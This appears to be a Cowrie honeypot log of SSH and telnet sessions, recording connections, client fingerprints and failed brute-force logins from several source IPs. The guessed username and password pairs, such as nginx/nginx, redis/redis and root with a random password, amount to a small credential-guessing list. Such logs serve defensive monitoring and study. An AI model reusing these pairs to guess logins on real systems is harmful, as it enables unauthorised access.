{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:43.544547Z","src_ip":"172.237.20.62","session":"52dfe49c1bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.082446336746216,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:43.623755Z","src_ip":"45.58.127.90","session":"289d0ac220fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:43.954301Z","src_ip":"176.65.132.129","session":"ab4c4aba0ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:44.705678Z","src_ip":"172.237.20.62","session":"52dfe49c1bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57722,"dst_ip":"10.17.0.5","dst_port":23,"session":"29227357f63d","protocol":"telnet","message":"New connection: 45.58.127.90:57722 (10.17.0.5:23) [session: 29227357f63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:45.459264Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36602,"dst_ip":"159.203.135.109","dst_port":22,"session":"634a8cb24002","protocol":"ssh","message":"New connection: 176.65.132.129:36602 (159.203.135.109:22) [session: 634a8cb24002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:46.066416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:46.073614Z","src_ip":"176.65.132.129","session":"634a8cb24002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:46.154898Z","src_ip":"176.65.132.129","session":"634a8cb24002","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:46.399693Z","src_ip":"176.65.132.129","session":"634a8cb24002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:47.483939Z","src_ip":"176.65.132.129","session":"634a8cb24002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36616,"dst_ip":"159.203.135.109","dst_port":22,"session":"461a608aef31","protocol":"ssh","message":"New connection: 176.65.132.129:36616 (159.203.135.109:22) [session: 461a608aef31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:49.513489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:49.517525Z","src_ip":"176.65.132.129","session":"461a608aef31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:49.599763Z","src_ip":"176.65.132.129","session":"461a608aef31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:49.846818Z","src_ip":"176.65.132.129","session":"461a608aef31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:50.932874Z","src_ip":"176.65.132.129","session":"461a608aef31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.27684760093689,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:50.938871Z","src_ip":"45.58.127.90","session":"f84d3a12e92b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.323668479919434,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:51.282911Z","src_ip":"45.58.127.90","session":"514aafa846b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.78300642967224,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:52.898585Z","src_ip":"45.58.127.90","session":"796fa5182784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36624,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae21f4727573","protocol":"ssh","message":"New connection: 176.65.132.129:36624 (159.203.135.109:22) [session: ae21f4727573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:53.017966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:53.023017Z","src_ip":"176.65.132.129","session":"ae21f4727573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:53.105796Z","src_ip":"176.65.132.129","session":"ae21f4727573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.26870346069336,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:53.248462Z","src_ip":"45.58.127.90","session":"7f5d2c4b520f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:53.352285Z","src_ip":"176.65.132.129","session":"ae21f4727573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50908,"dst_ip":"159.203.135.109","dst_port":22,"session":"96ad2decb0dd","protocol":"ssh","message":"New connection: 172.237.20.62:50908 (159.203.135.109:22) [session: 96ad2decb0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:53.922112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:53.948531Z","src_ip":"172.237.20.62","session":"96ad2decb0dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:54.084434Z","src_ip":"172.237.20.62","session":"96ad2decb0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.53843426704407,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:54.303519Z","src_ip":"45.58.127.90","session":"c19ecab918c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:54.436579Z","src_ip":"176.65.132.129","session":"ae21f4727573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:54.720351Z","src_ip":"172.237.20.62","session":"96ad2decb0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:55.947938Z","src_ip":"172.237.20.62","session":"96ad2decb0dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57530,"dst_ip":"159.203.135.109","dst_port":22,"session":"2de830d97a57","protocol":"ssh","message":"New connection: 176.65.132.129:57530 (159.203.135.109:22) [session: 2de830d97a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:56.400471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:56.404994Z","src_ip":"176.65.132.129","session":"2de830d97a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:56.486324Z","src_ip":"176.65.132.129","session":"2de830d97a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:56.730098Z","src_ip":"176.65.132.129","session":"2de830d97a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:57.814439Z","src_ip":"176.65.132.129","session":"2de830d97a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.96.29.36","src_port":48990,"dst_ip":"159.203.135.109","dst_port":23,"session":"0931f51b78b5","protocol":"telnet","message":"New connection: 92.96.29.36:48990 (159.203.135.109:23) [session: 0931f51b78b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:58.222778Z"}
{"eventid":"cowrie.session.closed","duration":40.137064695358276,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:59.486684Z","src_ip":"45.58.127.90","session":"a44e346f2521","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48424,"dst_ip":"10.17.0.5","dst_port":23,"session":"b321988705c3","protocol":"telnet","message":"New connection: 45.58.127.90:48424 (10.17.0.5:23) [session: b321988705c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:59.495987Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57532,"dst_ip":"159.203.135.109","dst_port":22,"session":"052fe0add33a","protocol":"ssh","message":"New connection: 176.65.132.129:57532 (159.203.135.109:22) [session: 052fe0add33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:59.903923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:59.961839Z","src_ip":"176.65.132.129","session":"052fe0add33a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:00.012297Z","src_ip":"176.65.132.129","session":"052fe0add33a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.91514754295349,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:00.249185Z","src_ip":"45.58.127.90","session":"eebc40756eda","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:00.306530Z","src_ip":"176.65.132.129","session":"052fe0add33a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:01.392076Z","src_ip":"176.65.132.129","session":"052fe0add33a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.454689502716064,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:02.092220Z","src_ip":"45.58.127.90","session":"bb6d01c1b4fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.641130447387695,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:02.335154Z","src_ip":"45.58.127.90","session":"b563a47a9768","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57546,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc27ba869ac3","protocol":"ssh","message":"New connection: 176.65.132.129:57546 (159.203.135.109:22) [session: bc27ba869ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:03.361549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:03.368923Z","src_ip":"176.65.132.129","session":"bc27ba869ac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:03.461737Z","src_ip":"176.65.132.129","session":"bc27ba869ac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:03.716842Z","src_ip":"176.65.132.129","session":"bc27ba869ac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44718,"dst_ip":"159.203.135.109","dst_port":22,"session":"52ffeb610ff8","protocol":"ssh","message":"New connection: 172.237.20.62:44718 (159.203.135.109:22) [session: 52ffeb610ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:04.812220Z"}
